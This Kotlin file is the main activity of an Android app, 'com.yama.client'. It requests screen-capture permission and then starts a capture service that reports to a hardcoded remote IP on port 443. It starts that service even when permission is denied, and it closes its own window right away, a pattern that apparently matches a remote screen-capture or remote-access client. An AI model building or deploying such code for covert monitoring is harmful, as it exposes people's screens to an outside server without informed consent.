66 lines
2.7 KiB
Kotlin
66 lines
2.7 KiB
Kotlin
package com.yama.client
|
||
|
||
import android.app.Activity
|
||
import android.content.Intent
|
||
import android.media.projection.MediaProjectionManager
|
||
import android.os.Bundle
|
||
import android.util.Log
|
||
import androidx.appcompat.app.AppCompatActivity
|
||
|
||
class MainActivity : AppCompatActivity() {
|
||
|
||
private val serverIp = "91.99.165.207"
|
||
private val serverPort = 443
|
||
|
||
private lateinit var projectionManager: MediaProjectionManager
|
||
|
||
companion object {
|
||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||
}
|
||
|
||
override fun onCreate(savedInstanceState: Bundle?) {
|
||
super.onCreate(savedInstanceState)
|
||
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null,
|
||
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||
if (savedInstanceState != null) { finish(); return }
|
||
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
|
||
}
|
||
|
||
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
|
||
super.onActivityResult(requestCode, resultCode, data)
|
||
if (requestCode == REQUEST_MEDIA_PROJECTION) {
|
||
if (resultCode == Activity.RESULT_OK && data != null) {
|
||
Log.i(CaptureService.TAG, "MediaProjection permission granted")
|
||
val intent = Intent(this, CaptureService::class.java).apply {
|
||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
|
||
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
|
||
}
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||
startForegroundService(intent)
|
||
} else {
|
||
startService(intent)
|
||
}
|
||
} else {
|
||
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
|
||
val intent = Intent(this, CaptureService::class.java).apply {
|
||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||
}
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||
startForegroundService(intent)
|
||
} else {
|
||
startService(intent)
|
||
}
|
||
}
|
||
finish()
|
||
}
|
||
}
|
||
|
||
override fun onDestroy() {
|
||
super.onDestroy()
|
||
}
|
||
}
|